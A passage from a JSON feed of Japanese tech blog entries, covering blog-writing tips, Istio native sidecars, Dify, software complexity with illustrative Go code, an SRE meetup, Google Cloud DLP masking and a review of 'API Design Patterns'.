小さなことでも、誰かにとっては新しい発見や学びのきっかけになるかもしれません。ためらわずに書いてみることをお勧めします。テックブログの執筆を通じて、私たち一人一人が少しずつ学び、成長できたらいいなと思っています。あなたの書いた記事が、誰かの助けになるかもしれません。今日から始めてみるのはいかがでしょうか。各プロセスで生成AIを利用する際の注意点とか書こうと思ったんですけどもう良い時間なのでご飯に行きます。参考文献と言うか読んだ方がいい本この本は、テックブログのネタに困ったときというかアイデアが出ない時の救世主です。私はこの本から多大な影響を受けており、このブログで紹介した5つのステップもここから着想を得て実践しています。著者の主張する「新しいアイデアは既存の要素の新しい組み合わせ」という考え方は、肩の荷が下りるので本当に大切です(いつもはアイディアって言ってるんですけど今回はこの本に敬意を込めてアイデアとしてます)。アイデアのつくり方作者:ジェームス W.ヤングCCCメディアハウスAmazonエンジニアとして文章を書くには「考える力」が不可欠です。この本は、その力を養うのに最適な一冊です。新版 思考の整理学 (ちくま文庫)作者:外山滋比古筑摩書房Amazonみなさん、最後まで読んでくれて本当にありがとうございます。途中で挫折せずに付き合ってくれたことに感謝しています。読者になってくれたら更に感謝です。Xまでフォロワーしてくれたら泣いているかもしれません。","isoDate":"2024-08-26T12:01:12.000Z","dateMiliSeconds":1724673672000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"IstioのサイドカーコンテナをKubernetesのサイドカーコンテナ機能で起動する","link":"https://zenn.dev/k_nagase/articles/istio_native_sidecar","contentSnippet":"はじめにKubernetes v1.29からサイドカーコンテナ機能が実装されました。これはメインコンテナとは別にロギングやプロキシのような周辺機能を追加するための機能です。Istioでもネットワークプロキシとしてenvoyコンテナをメインコンテナとは別にインジェクションし、1つのPodに仕立て上げます。しかしこれには問題があり、Jobを起動した際にメインコンテナが正常終了した後でもenvoyが終了せずにPodが残り続けてしまうといった事象がありました。こういったIstio利用における問題点を解消するのにKubernetesネイティブなサイドカーコンテナ機能が役立ちます。以降...","isoDate":"2024-08-26T04:15:35.000Z","dateMiliSeconds":1724645735000,"authorName":"Kohei Nagase","authorId":"k-nagase"},{"title":"生成AIアプリケーション開発ノーコードフレームワークDify","link":"https://shu-kob.hateblo.jp/entry/2024/08/25/233704","contentSnippet":"dify.ai最近、Difyの話題をよく聞くので、軽くご紹介したいと思います。Difyとは? 生成AIアプリ開発を劇的に簡素化するプラットフォームDifyは、生成AIアプリケーションをノーコードで開発できる、非常に革新的なプラットフォームです。これまで、生成AIアプリの開発は、高度なプログラミングスキルを必要とし、専門エンジニアでなければ実現が難しいものでした。しかし、Difyの登場により、この状況が一変。非エンジニアでも、直感的な操作で複雑なAIアプリケーションを構築できるようになりました。Difyが選ばれる理由ノーコード開発: プログラミングの知識がなくても、ブロックを組み合わせるように視覚的にアプリを構築できます。RAG(Retrieval Augmented Generation)対応: 大規模言語モデル(LLM)と外部データソースを連携させ、より高度なAI機能を実現できます。オープンソース: プラットフォーム自体がオープンソースであり、自由にカスタマイズ・拡張できます。高機能: チャットボット、AIアシスタント、要約ツールなど、さまざまなタイプの生成AIアプリを開発可能です。企業との連携: 既存の企業システムとの連携もスムーズに行え、業務効率化に貢献します。Difyの主な特徴柔軟性: AIプロセスを自由に組み合わせて、柔軟なアプリケーションを開発できます。統合性: 既存のシステムとの連携が容易で、企業内の既存のデータやシステムと統合できます。監視性: 実行時の状況を監視し、AIモデルの性能を継続的に改善できます。スケーラビリティ: 需要に応じて、簡単にシステムを拡張できます。Difyでできることチャットボットの開発: 自然な会話ができるチャットボットを簡単に作成できます。AIアシスタントの開発: 顧客対応や業務支援を行うAIアシスタントを開発できます。文書の自動生成: レポートや記事などを自動生成できます。データ分析: 大量のデータを分析し、有益な情報を抽出できます。Difyが注目される理由生成AIの民主化: 生成AIの技術を、より多くの人々に開放し、AIの活用範囲を広げます。開発コストの削減: 高度なエンジニアを雇用する必要がなく、開発コストを大幅に削減できます。開発期間の短縮: ノーコード開発により、開発期間を大幅に短縮できます。まとめDifyは、生成AIの開発を劇的に簡素化するプラットフォームです。非エンジニアでも、高度なAIアプリケーションを開発できるため、生成AIの活用範囲が大きく広がることが期待されています。もし、生成AIに興味があり、独自のアプリケーションを開発したいと考えているのであれば、Difyは非常に魅力的な選択肢と言えるでしょう。さらに詳しく知りたい方へDify公式サイト: https://dify.ai/jpDifyの始め方(非エンジニアでも生成AIアプリが作れる最強ツール): https://zenn.dev/en2enzo2/articles/824877e1099508Difyは、生成AIの分野で注目を集めているプラットフォームです。ぜひ、この機会にDifyについて詳しく調べてみてください。何か他に知りたいことがあれば、お気軽にご質問ください。","isoDate":"2024-08-25T14:37:04.000Z","dateMiliSeconds":1724596624000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"この世の中に溢れているので自分が発言する必要はないが「ソフトウェアは認知の限界まで複雑になる」を自分なりに再考する","link":"https://syu-m-5151.hatenablog.com/entry/2024/08/25/142213","contentSnippet":"人間が何もしないと病気になるのと同じように、ソフトウェアも何もしないと複雑になる。はじめにソフトウェア開発の世界に飛び込んでから、「ソフトウェアは認知の限界まで複雑になる」という言葉を耳にしたとき、正直なところ、「ほへー」って思いながら何も理解していませんでした。しかし、大規模なシステムに携わるようになって、その言葉の重みを身をもって感じるようになりました。内部構造や相互作用が複雑化し、全体を把握するのが難しくなっていく。それは挑戦であると同時に、私たち開発者の存在意義を問いかけるものでもあります。A Philosophy of Software Design, 2nd Edition (English Edition)作者:Ousterhout, John K. Amazonこの複雑性との闘いは、時に苦しいものです。でも、それを乗り越えたときの喜びは何物にも代えがたい。私たちの理解力の限界に挑戦し続けることで、成長の機会を得られるのかもしれません。また、絶対的な正解が存在しないことも認識することが重要です。それぞれの組織や開発チームにとっての最適解は異なるため、継続的に自分たちの状況を評価し、最適なアプローチを探り続ける必要があります。この過程では、チームメンバー間のオープンなコミュニケーションと実験的な姿勢が鍵となります。時には失敗することもありますが、そこから学びを得て前進することで、長期的には組織全体の能力向上につながるでしょう。 speakerdeck.comなお、この概念は広く知られており、多くの議論がなされています。しかし、自分なりに再考することには大きな意義があります。なぜなら、個人の経験や視点を通じて理解を深めることで、この普遍的な課題に対する新たな洞察や独自のアプローチを見出せる可能性があるからです。また、自分の言葉で表現し直すことで、チーム内での議論を促進し、共通理解を深める機会にもなります。さらに、技術の進化や開発手法の変化に伴い、この概念の意味や影響も変化しているかもしれません。そのため、現代のコンテキストにおいてこの概念を再評価することは、ソフトウェア開発の未来を考える上で重要なのです。正直なところ、このブログに書いていることは完全に自己満足かもしれません。しかし、この自己満足的な行為を通じて、私自身の理解を深め、そして少しでも他の人の考えるきっかけになれば、それはそれで価値があるのではないでしょうか。個人的には「Good Code, Bad Code ~持続可能な開発のためのソフトウェアエンジニア的思考」や「ルールズ・オブ・プログラミング ―より良いコードを書くための21のルール」も良かったのです。資料としては「複雑さに立ち向かうためのコードリーディング入門」や「オブジェクト指向のその前に-凝集度と結合度/Coheision-Coupling」も合わせてオススメです。複雑性の源泉ソフトウェアの複雑性は様々な要因から生まれます。機能の増加:全ての機能は最初から分かってるわけでなくユーザーの要求に応えるため、次々と新機能が追加されていく。レガシーコードの蓄積:古いコードが新しいコードと共存し、相互作用する。技術的負債:短期的な解決策が長期的な複雑性を生み出す。外部依存関係:サードパーティライブラリやAPIの統合が複雑性を増す。スケーラビリティ要件:大規模なデータや高いトラフィックに対応するための設計が複雑さを増す。これらの要因が相互に作用し合い、ソフトウェアシステムは徐々に、そして時には急激に複雑化していきます。複雑性の影響過度の複雑性は、ソフトウェア開発プロセス全体に深刻な影響を及ぼします。開発速度の低下:新機能の実装や既存機能の修正に時間がかかるようになる。バグの増加:複雑なシステムほど、予期せぬ相互作用やエッジケースが発生しやすい。メンテナンス性の低下:コードベースの理解が困難になり、変更のリスクが高まる。オンボーディングの難化:新しいチームメンバーが全体を把握するまでの時間が長くなる。イノベーションの阻害:既存システムの制約が新しいアイデアの実現を妨げる。複雑性との共存完全に複雑性を排除することは不可能ですが、以下の戦略を通じて管理することは可能です。モジュール化:システムを独立した、理解しやすいコンポーネントに分割する。抽象化:詳細を隠蔽し、高レベルの概念を通じてシステムを理解・操作できるようにする。設計パターンの活用:一般的な問題に対する標準的な解決策を適用する。継続的なリファクタリング:定期的にコードを見直し、改善する。適切な文書化:システムの構造や意思決定の理由を明確に記録する。マイクロサービスアーキテクチャの採用は、大規模なモノリシックシステムの複雑性を管理するための一つのアプローチです。しかし、これは単に銀の弾丸ではなく複雑性の性質を変えるだけで、新たな形の複雑性(例えば、サービス間通信やデータ一貫性の管理)をもたらす可能性があります。そのため、アーキテクチャの選択は慎重に行い、トレードオフを十分に考慮する必要があります。マイクロサービスアーキテクチャ 第2版作者:Sam Newmanオーム社Amazon複雑性と認知負荷ソフトウェアの複雑性は、開発者の認知負荷と密接に関連しています。人間の脳には情報処理能力の限界があり、この限界を超えると効率的な問題解決や創造的思考が困難になります。プログラマー脳 ~優れたプログラマーになるための認知科学に基づくアプローチ作者:フェリエンヌ・ヘルマンス,水野貴明,水野いずみ秀和システムAmazon複雑なソフトウェアシステムは、以下の方法で開発者の認知負荷を増大させます。同時に考慮すべき要素の増加複雑な相互依存関係の理解抽象化レベルの頻繁な切り替え長期記憶と作業記憶の継続的な活用これらの要因により、開発者は「認知の限界」に達し、それ以上の複雑性を効果的に管理することが困難になります。以下は、複雑性が増大したコードの例です。// ComplexSystem は、システム全体の複雑性を体現する構造体です。// 複雑性の要因:多数の依存関係、状態管理、イベント処理、設定管理の組み合わせtype ComplexSystem struct { components map[string]Component // 動的に管理される多数のコンポーネント interactions map[string][]string // コンポーネント間の複雑な相互作用を表現 stateManager *StateManager // 全体の状態を管理する複雑なロジック eventBus *EventBus // 非同期イベント処理による複雑性 configProvider ConfigProvider // 動的な設定変更による複雑性 logger Logger // 複数の場所でのロギングによる情報の分散 cache *Cache // パフォーマンス最適化のための追加レイヤー metrics *MetricsCollector // システム監視のための追加の複雑性 errorHandler ErrorHandler // カスタムエラーハンドリングによる複雑性 scheduler *Scheduler // 非同期タスクスケジューリングによる複雑性}// ProcessEvent は、イベント処理の複雑性を示す関数です。// 複雑性の要因:多段階の処理、エラーハンドリング、状態更新、非同期処理の組み合わせfunc (cs *ComplexSystem) ProcessEvent(event Event) error { cs.metrics.IncrementEventCounter(event.Type) // メトリクス収集による複雑性 cs.logger.Log(\\"Processing event: \\" + event.Name) // キャッシュチェックによる条件分岐の増加 if cachedResult, found := cs.cache.Get(event.ID); found { cs.logger.Log(\\"Cache hit for event: \\" + event.ID) return cs.handleCachedResult(cachedResult) } // 複雑な依存関係の解決 affectedComponents := cs.resolveAffectedComponents(event) // ゴルーチンを使用した並行処理による複雑性の増加 resultChan := make(chan ComponentResult, len(affectedComponents)) for _, componentID := range affectedComponents { go cs.processComponentAsync(componentID, event, resultChan) } // 非同期処理結果の収集と統合 for i := 0; i < len(affectedComponents); i++ { result := <-resultChan if result.Error != nil { cs.errorHandler.HandleError(result.Error) return result.Error } cs.updateSystemState(result) } // 動的設定に基づく条件付き処理 config := cs.configProvider.GetConfig() if config.EnablePostProcessing { if err := cs.performPostProcessing(event); err != nil { cs.logger.Error(\\"Error in post-processing: \\" + err.Error()) return cs.errorHandler.WrapError(err, \\"PostProcessingFailed\\") } } // イベントバスを使用した非同期通知 cs.eventBus.Publish(NewStateChangedEvent(event.ID, cs.stateManager.GetCurrentState())) // 次のスケジュールされたタスクのトリガー cs.scheduler.TriggerNextTask() cs.logger.Log(\\"Event processed successfully\\") return nil}// processComponentAsync は、個別のコンポーネント処理を非同期で行う関数です。// 複雑性の要因:ゴルーチン内での処理、エラーハンドリング、状態更新の組み合わせfunc (cs *ComplexSystem) processComponentAsync(componentID string, event Event, resultChan chan<- ComponentResult) { component, exists := cs.components[componentID] if !exists { resultChan <- ComponentResult{Error: fmt.Errorf(\\"component not found: %s\\", componentID)} return } newState, err := component.HandleEvent(event) if err != nil { resultChan <- ComponentResult{Error: cs.errorHandler.WrapError(err, \\"ComponentProcessingFailed\\")} return } cs.stateManager.UpdateState(componentID, newState) resultChan <- ComponentResult{ID: componentID, State: newState}}// performPostProcessing は、イベント処理後の追加処理を行う関数です。// 複雑性の要因:条件分岐、エラーハンドリング、外部サービス呼び出しの組み合わせfunc (cs *ComplexSystem) performPostProcessing(event Event) error { // 複雑な条件分岐 switch event.Type { case \\"TypeA\\": // 外部サービス呼び出し if err := cs.externalServiceA.Process(event); err != nil { return cs.errorHandler.WrapError(err, \\"ExternalServiceAFailed\\") } case \\"TypeB\\": // データ変換と検証 transformedData, err := cs.dataTransformer.Transform(event.Data) if err != nil { return cs.errorHandler.WrapError(err, \\"DataTransformationFailed\\") } if !cs.dataValidator.Validate(transformedData) { return cs.errorHandler.NewError(\\"InvalidTransformedData\\") } // さらなる処理... default: // デフォルトの複雑な処理ロジック // ... } // メトリクス更新 cs.metrics.IncrementPostProcessingCounter(event.Type) return nil}このコードは、多層の依存関係、複雑な状態管理、非同期イベント処理、動的設定、並行処理、多重エラーハンドリング、クロスカッティングコンサーンなどを含む極度に複雑なシステムを表現しており、その全体を理解し効果的に管理するには開発者の認知能力を大きく超える負荷が必要となります。この複雑性に対処するため、システムを小さな独立したサービスに分割し、各コンポーネントの責務を明確に定義することで、全体の理解と管理を容易にすることができます。以下は、そのアプローチを示す簡略化したサンプルです。// EventProcessor は、イベント処理の主要なインターフェースを定義します。type EventProcessor interface { ProcessEvent(event Event) error}// SimpleEventProcessor は、EventProcessor の基本的な実装です。type SimpleEventProcessor struct { logger Logger repository Repository publisher EventPublisher}// NewSimpleEventProcessor は、SimpleEventProcessor の新しいインスタンスを作成します。func NewSimpleEventProcessor(logger Logger, repository Repository, publisher EventPublisher) *SimpleEventProcessor { return &SimpleEventProcessor{ logger: logger, repository: repository, publisher: publisher, }}// ProcessEvent は、単一のイベントを処理します。func (p *SimpleEventProcessor) ProcessEvent(event Event) error { p.logger.Info(\\"Processing event\\", \\"id\\", event.ID, \\"type\\", event.Type) if err := event.Validate(); err != nil { return fmt.Errorf(\\"invalid event: %w\\", err) } result, err := p.repository.Store(event) if err != nil { return fmt.Errorf(\\"failed to store event: %w\\", err) } if err := p.publisher.Publish(result); err != nil { p.logger.Error(\\"Failed to publish result\\", \\"error\\", err) } p.logger.Info(\\"Event processed successfully\\", \\"id\\", event.ID) return nil}このアプローチにより、システムの複雑性が大幅に低減され、各コンポーネントの役割が明確になり、開発者の認知負荷が軽減されます。結果として、(組織や人によっては)コードの理解、保守、拡張が容易になり、長期的なシステムの健全性が向上します。複雑性のパラドックス興味深いことに、ソフトウェアの複雑性には一種のパラドックスのような構造が存在します。それはシステムを単純化しようとする試みが、かえって複雑性を増大させることがあるのです。例えば:抽象化の過剰:過度に抽象化されたシステムは、具体的な実装の理解を困難にする。過度な一般化:あらゆるケースに対応しようとすることで、システムが不必要に複雑になる。新技術の導入:複雑性を減らすために導入された新技術が、学習コストや統合の複雑さを増す。以下は、過度な抽象化の例です:type AbstractFactory interface { CreateProduct() Product ConfigureProduct(Product) error ValidateProduct(Product) bool}type ConcreteFactory struct { config Config validator Validator decorator Decorator}func (f *ConcreteFactory) CreateProduct() Product { // Complex creation logic return nil}func (f *ConcreteFactory) ConfigureProduct(p Product) error { // Complex configuration logic return nil}func (f *ConcreteFactory) ValidateProduct(p Product) bool { // Complex validation logic return true}// Usagefunc UseFactory(factory AbstractFactory) { product := factory.CreateProduct() err := factory.ConfigureProduct(product) if err != nil { // Error handling } if !factory.ValidateProduct(product) { // Validation failed } // Use the product}このコードは柔軟性を目指していますが、実際の使用時には理解と実装が困難になる可能性があります。このような複雑性のパラドックスに対処するには、適度な抽象化と具体的な実装のバランスを取ることが重要です。以下は、シンプルさと柔軟性のバランスを取った改善例です。type Product struct { // Product fields}type ProductFactory struct { config Config}func NewProductFactory(config Config) *ProductFactory { return &ProductFactory{config: config}}func (f *ProductFactory) CreateProduct() (*Product, error) { product := &Product{} if err := f.configureProduct(product); err != nil { return nil, fmt.Errorf(\\"failed to configure product: %w\\", err) } if !f.validateProduct(product) { return nil, errors.New(\\"product validation failed\\") } return product, nil}func (f *ProductFactory) configureProduct(p *Product) error { // Configuration logic return nil}func (f *ProductFactory) validateProduct(p *Product) bool { // Validation logic return true}// Usagefunc UseFactory(factory *ProductFactory) { product, err := factory.CreateProduct() if err != nil { // Error handling return } // Use the product}この改善したコードは、単一責任の原則に基づいた ProductFactory の特化、一箇所でのエラーハンドリング、具体的な型の使用による理解のしやすさ、そして内部メソッドの非公開化によるカプセル化を特徴とし、これらの要素が複合的に作用することで、コードの複雑性を軽減しつつ必要な機能性を維持しています。このアプローチにより、コードの複雑性を減らしつつ、必要な柔軟性を維持することができます。適度な抽象化と具体的な実装のバランスを取ることで、(組織や人によっては)開発者の理解を促進し、長期的なメンテナンス性を向上させることができます。おわりにソフトウェアの複雑性は、諸刃の剣のようなものだと気づきました。それは私たちの能力を押し上げる原動力になる一方で、管理を怠れば混沌を招く危険性も秘めています。完全に複雑性を排除することは不可能かもしれません。しかし、それと向き合い、うまく付き合っていく術を見つけることは可能だと信じています。病気になってから健康に気を使い始めるのが辛いように、限界まで複雑化したソフトウェアをリファクタリングしていく作業も非常に困難です。そのため、早い段階から複雑性を管理する習慣を身につけることが重要です。ただし、この過程で過度に最適化やリファクタリングに固執すると、本来の目的を見失い、それ自体が目的化してしまう危険性があります。これは趣味が手段から目的にすり替わる現象に似ており、行き過ぎた最適化はまた別の問題を引き起こす可能性があります。Tidy First?: A Personal Exercise in Empirical Software Design (English Edition)作者:Beck, KentO\'Reilly MediaAmazonしたがって、ビジネス側の要求や理想を実現するために、様々な手法やアプローチを積極的に検証していく姿勢も必要です。技術的な観点だけでなく、ビジネスゴールを常に意識し、両者のバランスを取りながら最適な解決策を模索することが、持続可能なソフトウェア開発につながります。過度な最適化や複雑性の管理に陥ることなく、ビジネス価値の創出と技術的な健全性のバランスを保つことが重要です。日々の開発の中で、継続的な管理プロセスの重要性を実感しています。適切なトレードオフを見極め、チーム内での知識共有や学習を大切にすること。これらは複雑性と付き合っていく上で欠かせない要素です。さらに、ビジネス部門との緊密なコミュニケーションを通じて、技術的な制約や可能性について相互理解を深めることも重要です。ツールやプラクティスは確かに助けになりますが、それらだけでは根本的な解決にはなりません。結局のところ、私たち人間の認知能力と技術の限界との絶え間ない闘いが続くのです。この挑戦に立ち向かい、バランスを取りながら進化し続けること。そして、ビジネスとテクノロジーの両面から問題にアプローチする柔軟性を持つことが、ソフトウェア開発者としての真の成長につながるのではないでしょうか。知らんけど…ソフトウェアファースト第2版 あらゆるビジネスを一変させる最強戦略作者:及川 卓也日経BPAmazon近年の大規模言語モデル(LLM)の急速な発展により、ソフトウェアの複雑性管理に新たな要素がもたらされつつあり、LLMが人間の認知能力を超える可能性が現実味を帯びてきている中、これはソフトウェア開発者にとってチャンスと挑戦の両面を意味します。例えばLLMが複雑なコードベースを瞬時に解析して最適化の提案を行ったり、人間には把握しきれない複雑な相互作用を予測して潜在的な問題を事前に指摘したりする可能性があります。github.com一方で、LLMの判断をどのように検証し、人間の意図や倫理的考慮をどのように組み込んでいくか、またLLMと人間の協働をどのように設計し、それぞれの強みを最大限に活かすかといった新たな課題に対する明確な解答や確立された手法はまだ見つかっていません。このような状況下で、エンジニアとして、LLMの進化とその影響について継続的かつ慎重に情報収集を行い、批判的に分析する姿勢が不可欠です。単に新技術を受け入れるのではなく、その長所と短所を十分に理解し、既存のソフトウェア開発プラクティスとの整合性を慎重に評価する必要があります。 speakerdeck.com今後はLLMの能力を活用しつつ、人間ならではの創造性や突っ込めないコンテキスト、直感、倫理的判断を組み合わせた新しいソフトウェア開発のアプローチを模索し、技術の進歩に適応しながらも人間中心の開発哲学を失わないバランスを取ることが求められるのではないでしょうか?。運用者目線でどうなのか?みたいなことを喋る機会があるので喋っていきたい。event2024.cloudopsdays.comみなさん、最後まで読んでくれて本当にありがとうございます。途中で挫折せずに付き合ってくれたことに感謝しています。読者になってくれたら更に感謝です。Xまでフォロワーしてくれたら泣いているかもしれません。","isoDate":"2024-08-25T05:22:13.000Z","dateMiliSeconds":1724563333000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"高度情報の午前Ⅱ試験を解くならこのサイト","link":"https://shu-kob.hateblo.jp/entry/2024/08/24/225803","contentSnippet":"もうすぐ9月。秋の情報処理技術者試験も近づいてますね。私はプロジェクトマネージャ試験を受けるので頑張らねば。応用情報午前試験の過去問アプリはたくさんあるのですが、高度情報はないですよね。IPA公式の過去問をPDFで開かずとも、スマホで気軽に過去問演習したいところ。そこで、高度情報の午前Ⅱ試験を解くならこのサイトをご紹介したいと思います。情報処理技術者試験の勉強(過去問題)をやり直し過去問を1問1答形式で時進められます。全ての高度情報に対応しています。こちらを活用して、午前Ⅱは余裕で通過できるようにしておきましょう1","isoDate":"2024-08-24T13:58:03.000Z","dateMiliSeconds":1724507883000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"3-shake SRE Tech Talk #10無事終了。英語は大事w","link":"https://shu-kob.hateblo.jp/entry/2024/08/23/231736","contentSnippet":"3-shake.connpass.comshu-kob.hateblo.jp初のオンサイト開催となる3-shake SRE Tech Talk #10無事終了しました。詳しいことは後日書くとして、私は誘導係をしました。会場となったGoogleさんの渋谷オフィスは渋谷ストリームという新しい建物にあるのですが、エントランスの長いエスカレータの下で誘導していたら外国人2組に道を聞かれました(笑)スリーシェイクTシャツ着て立っていたから、建物の係りの人と思われた?1人目の方には、スマホを見せられ、渋谷ストリーム内の串カツ屋の場所を聞かれました。飲食店マップがあったので、3Fか4Fにあるみたい、と拙い英語で説明w2組目の二人には、スマホを見せられ、半蔵門線渋谷駅の場所を聞かれました。エスカレータを指差し、「(エスカレータを)Down, Purple is Line Color.(半蔵門線のラインカラーは紫)」とまた拙い英語で説明したら、「ありがと!(Arigato)」とお礼を言われました。面白い経験をするとともに、Googleの音声翻訳など便利なものを使えばよかったと思いました。今後はもうちょっとまともな英語を答えられるよう頑張るぞ!","isoDate":"2024-08-23T14:17:36.000Z","dateMiliSeconds":1724422656000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"Cilium L2 Announcement を使ってみる","link":"https://sreake.com/blog/learn-about-cilium-l2-announcement/","contentSnippet":"はじめに Sreake事業部でインターンをしている小林です。 本記事では、Cilium v1.14で追加されたCilium L2 Announcementを検証しました。 Kubernetes External Load […]The post Cilium L2 Announcement を使ってみる first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-08-23T01:10:11.000Z","dateMiliSeconds":1724375411000,"authorName":"Sreake","authorId":"Sreake"},{"title":"2024年8月23日(金)は渋谷とオンラインにて3-shake SRE Tech Talk #10","link":"https://shu-kob.hateblo.jp/entry/2024/08/22/214001","contentSnippet":"shu-kob.hateblo.jp以前も書きましたが、2024年8月23日(金)は渋谷とオンラインにて3-shake SRE Tech Talk #10 です。初のオンサイト開催!(オンラインも併用)18:30からGoogle Cloudさんの渋谷オフィスで行います。無料の懇親会もあります。オンサイトは定員40人のところ、前日の8月22日21:36現在、37人と、3人の空きがあります。タイムテーブルはこちら株式会社Topotal 菱田 健太氏「SRE NEXT 2024 で形にしたバトンを渡せる仕組み」株式会社スリーシェイク 阿部貴晶「LLMのO11yに触れる」グーグルクラウドジャパン合同会社 中谷 祐輔氏「スポンサーセッション」弊社スリーシェイクからは「LLMのO11yに触れる」というテーマで、生成AIのオブザーバビリティの話があります。私も会場誘導係として、参加予定です。生成AIに興味ある方もぜひご参加ください。","isoDate":"2024-08-22T12:40:01.000Z","dateMiliSeconds":1724330401000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"Google Cloud DLP(Data Loss Prevention)を使ってデータのマスキングしてみた","link":"https://shu-kob.hateblo.jp/entry/2024/08/21/230415","contentSnippet":"DLP(Data Loss Prevention)とは?DLP(Data Loss Prevention)は、直訳で「データ損失防止」を意味し、企業や組織が保有する機密データや個人情報などの漏えいを防止するための仕組み、またはそのプロセス全体を指します。DLPの目的は、以下の通りです。機密データの特定: 個人情報、クレジットカード番号、社会保障番号など、企業にとって重要なデータを特定します。データの分類: 特定されたデータを、機密レベルや種類などに応じて分類します。データの保護: 分類されたデータに対して、アクセス制限、暗号化、匿名化などの適切な保護策を施します。データ漏えいの検出: データ漏えいが発生した場合、早期に検出し、その原因を特定します。Google CloudでDLPを使用してみたGoogle Cloud Storage上にある個人情報を含むテスト用テキストデータを用意し、下記記事の通り、コンソール上だけで個人情報のマスキングができました!便利!ops.jig-saw.comGeminiだけだとプロンプトを工夫してもマスキングはしてくれなかったので、DLPと併用しましょう。なお、要約文中に個人情報を入れるな、というプロンプトは言うことを聞いてくれました。","isoDate":"2024-08-21T14:04:15.000Z","dateMiliSeconds":1724249055000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"生成AIの出力形式を指定する","link":"https://shu-kob.hateblo.jp/entry/2024/08/20/235853","contentSnippet":"生成AIでの出力をプログラムで次の処理に使いたいときありますよね。そういうときは、正規化が必要だったりします。例えば、プロンプトでJSON形式で出力するように指定して、見本の形式も添えておけば、JSON形式で出力され、次の処理でとても使いやすくなります。","isoDate":"2024-08-20T14:58:53.000Z","dateMiliSeconds":1724165933000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"すぐに役に立つものはすぐに陳腐化してしまうから方法ではなく設計の本を読む - API Design Patterns の読書感想文","link":"https://syu-m-5151.hatenablog.com/entry/2024/08/20/191435","contentSnippet":"あなたがさっきまで読んでいた技術的に役立つ記事は、10年後も使えるでしょうか?ほとんどの場合でいいえはじめに短期的に効果的な手法や知識は、ソフトウェア開発の分野において、急速に価値を失う傾向があります。この現象は、私たちが何を重点的に学ぶべきかを示唆しています。最も重要なのは、第一に基本的な原理・原則、そして第二に方法論です。特定の状況にのみ適用可能な知識や即座に結果を出すテクニックは、長期的には有用性を失う可能性が高いです。これは、技術や手法が時間とともに進化し、変化していくためです。learning.oreilly.com「API Design Patterns」は、このような考え方を体現した書籍です。しかも480 ページもあります。本書は単なる手法の列挙ではなく、Web APIデザインの根幹をなす原則と哲学を探求しています。著者のJJ Geewax氏は、APIを「コンピュータシステム間の相互作用を定義する特別な種類のインターフェース」と定義し、その本質的な役割を明確に示しています。API Design Patterns (English Edition)作者:Geewax, JJManningAmazonSREの分野においても、netmarkjpさんの「現場がさき、 プラクティスがあと、 原則はだいじに」という卓越した発表資料があります。この資料はこのように原則を大事にしながら現場をやっていくにはどうすればいいかの指針を示してくれています。この書籍との邂逅を通じて、私の視座は大きく拡がりました。日々直面するAPI設計、実装、維持の課題に対し、より深遠な洞察と長期的な展望を得られたと実感しています。特に印象的だったのは、著者によるAPIの定義です。「コンピュータシステム間の相互作用を定義する特別な種類のインターフェース」というこの洞察は、APIの本質的役割を鮮明に照らし出し、私のAPI設計への理解を劇的に深化させました。「はじめに」にあるべき全体像「API Design Patterns」は、APIの基本概念と重要性から始まり、設計原則、基本的な操作と機能、リソース間の関係性の表現方法、複数リソースの一括操作、そして安全性とセキュリティに至るまで、APIデザインの全体像を包括的に扱っており、各パートでは、APIの定義と特性、設計原則(命名規則、リソースの階層など)、基本的な操作(標準メソッド、カスタムメソッドなど)、リソース間の関係性(シングルトンサブリソース、ポリモーフィズムなど)、集合的操作(バッチ処理、ページネーションなど)、そして安全性とセキュリティ(バージョニング、認証など)について詳細に解説し、これらの要素を適切に組み合わせることで、使いやすく、柔軟で、安全なAPIを設計するための総合的な指針を提供しています。よりよいAPIを設計するためのアイデア本書を読み進める中で、「アイデアのつくり方」で説明されているアイデア創出の根幹をなす2つの原理が、私たちのAPI設計にも適用できるのではないかと考えました。これらの原理とは以下の通りです。アイデアとは既存の要素の新たな組み合わせである既存の要素を新しい組み合わせへと導く才能は、事物間の関連性を見出す能力に大きく依存するアイデアのつくり方作者:ジェームス W.ヤングCCCメディアハウスAmazon今後のAPI設計において、これらの原理を意識的に取り入れ、実践していくことで、より革新的で使いやすいAPIを生み出せる可能性があります。日本語版日本語版の出版は、多くの日本人エンジニアにとって、感謝でしかありません。英語特有のニュアンスの把握に苦心する部分も、母国語で読み解くことでより深い理解が得られ、本書の真髄をより効果的に吸収できたと実感しています。APIデザイン・パターン (Compass Booksシリーズ)作者:JJ Geewaxマイナビ出版Amazonむすびこの書との出会いを通じて、私はAPIデザインの本質を体得し、時代を超えて価値を持ち続ける設計スキルを磨くことができたと確信しています。技術の潮流に左右されない、根本的な設計原則を身につけることで、エンジニアとしての自己成長と、より卓越したシステム設計の実現への道が開かれたと感じています。本ブログでは、この読後感に加えて、私が特に注目した点や、本書の概念をGo言語で具現化した実装例なども記しています。これらの追加コンテンツが、本書の理解をより深め、実践への架け橋となることを願っています。「API Design Patterns」との邂逅は、私のエンジニアとしてのキャリアに新たな地平を開いてくれました。本書から得た知見と洞察を、今後の業務に存分に活かし、さらなる高みを目指す所存です。APIの世界への深い理解を得るには、その前史を知ることも重要です。その観点から、「Real World HTTP 